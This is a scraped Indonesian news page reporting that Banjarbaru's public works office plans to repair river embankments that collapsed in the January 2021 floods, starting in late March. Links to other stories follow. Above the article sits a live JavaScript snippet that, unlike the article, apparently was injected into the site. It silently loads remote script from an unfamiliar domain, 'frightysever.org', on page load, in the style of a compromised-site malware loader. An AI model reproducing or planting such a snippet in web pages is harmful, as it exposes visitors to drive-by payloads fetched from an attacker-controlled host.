(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Perbaikan sejumlah titik siring amblas di wilayah Banjarbaru akibat banjir Januari lalu, siap direalisasikan. Upaya penanganan pasca bencana ini rencananya akan dimulai pada akhir Maret nanti.
Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Banjarbaru meluruskan perihal kalkulasi kerugian di sektor infrastruktur akibat banjir. Dimana pada musibah awal tahun tadi, dilaporkan setidaknya ada 14 titik siring yang runtuh akibat dihantam derasnya air.
Kabid Sumber Daya Air (SDA) Dinas PUPR, Subrianto, menyebut lokasi terparah berada di kawasan sungai Kemuning. Berdasarkan pantauan di lapangan, ada 4 titik siring yang runtuh di kawasan sungai sepanjang 5 kilometer tersebut.
“Bahkan, ada satu titik yang sudah mencapai bangunan rumah warga. Karena siringnya sudah runtuh, derasnya aliran air menggerus bagian pondasi dasar rumah warga yang lokasinya di bantaran sungai,” kata Subriyanto, Selasa (2/3/2021).
Kekhawatiran atas kondisi ini, ujar Subrianto, menjadikan program perbaikan siring menjadi hal yang harus cepat dilakukan, meski masih menunggu waktu tepat hingga cuaca dinyatakan telah aman.
“Akan percuma jika kita melakukan perbaikan siring tapi cuaca masih sering turun hujan. Beton siring itu butuh waktu 28 hari untuk kering. Jadi kita menunggu cuaca sudah bagus dulu,” bebernya.
Oleh karena itu, Dinas PUPR berkoordinasi dengan Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) ihwal memastikan perkiraan cuaca beberapa waktu ke depan. Hasilnya, perbaikan siring dijadwalkan akan dimulai pada akhir Maret nanti.
“Ya, kami sudah berkoordinasi dengan BMKG, dimana hujan diperkirakan masih akan terjadi di bulan Maret ini. Setelah kami pertimbangan, kami putuskan memulai perbaikan siring akhir bulan nanti,” jelasnya.
Lantas, apa tindakan darurat sembari menunggu dimulainya perbaikan siring? Dalam hal ini, Subrianto, memastikan telah melakukan upaya-upaya darurat. Penanganan itu dilakukan tepat peristiwa runtuhnya siring.
“Jadi untuk penanganan darurat ini, kita hanya memasang siring pancang dari galam. Ini untuk mengurangi area kerusakan dan juga meminimalisir risiko untuk pengunjung atau bangunan di bantaran,” tuntasnya.
Selain di kawasan sungai Kemuning, runtuhnya bangunan siring akibat banjir juga terjadi di Sungai Makmur, Kelurahan Landasan Ulin Utara, serta Sungai Guntung Manggis di Kelurahan Landasan Ulin Selatan. (kanalkalimantan.com/rico)
Reporter :rico
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
This website uses cookies.